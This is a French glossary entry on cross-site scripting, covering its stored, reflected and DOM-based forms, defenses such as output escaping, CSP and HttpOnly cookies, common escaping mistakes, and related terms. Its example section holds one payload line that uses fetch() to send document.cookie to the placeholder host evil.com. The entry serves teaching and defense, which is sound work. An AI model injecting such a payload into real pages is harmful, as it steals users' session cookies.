XSS
XSS (cross-site scripting) est l'attaque où l'attaquant injecte des scripts malveillants dans une page qui s'exécutent dans le navigateur d'autres utilisateurs ; il existe sous formes stockée, réfléchie et basée DOM.
Objectif
Empêcher des scripts malveillants de s'exécuter dans le contexte d'une page de confiance, protégeant sessions et données des utilisateurs.
Mécanisme
L'attaquant injecte <script> dans la page (stocké via la base de données, réfléchi via paramètres d'URL, basé DOM via manipulation du DOM côté client). Le script tourne dans le navigateur de la victime avec ses privilèges de session, volant des cookies, émettant des requêtes ou altérant la page. Défenses : échappement en sortie, CSP, cookies HttpOnly.
Cas d’usage
- Rendu d'entrées utilisateur non échappées
- Injection dans commentaires et texte riche
- Réflexion de paramètres d'URL dans les pages
- Injection de scripts tiers
Exemples
- entrée
<script>fetch("evil.com?c="+document.cookie)</script>OutputSteals the user cookiesStored XSS
Erreurs courantes
- Escaping only < > while missing quotes in attribute contexts
- Escape per context: HTML/attribute/JS/URL
Termes associés
CSRF
CSRF (cross-site request forgery) est une vulnérabilité où l'attaquant trompe un utilisateur connecté pour lui faire envoyer sans le savoir une requête malveillante au site ciblé. GLOSSAIRE
CSP
CSP (Content Security Policy) déclare, via un en-tête HTTP, quelles origines de ressources une page peut charger, réduisant la surface d'attaque du XSS et de l'injection de données. GLOSSAIRE
HTML Entities
Les entités HTML échappent les caractères à signification spéciale en HTML (<, >, &, ") sous la forme &name; ou &#NNN; afin qu'ils s'affichent littéralement au lieu d'être analysés comme balisage. GLOSSAIRE
SQL Injection
L'injection SQL consiste pour un attaquant à insérer des fragments SQL malveillants dans une chaîne de requête afin que la base exécute des commandes non voulues. GLOSSAIRE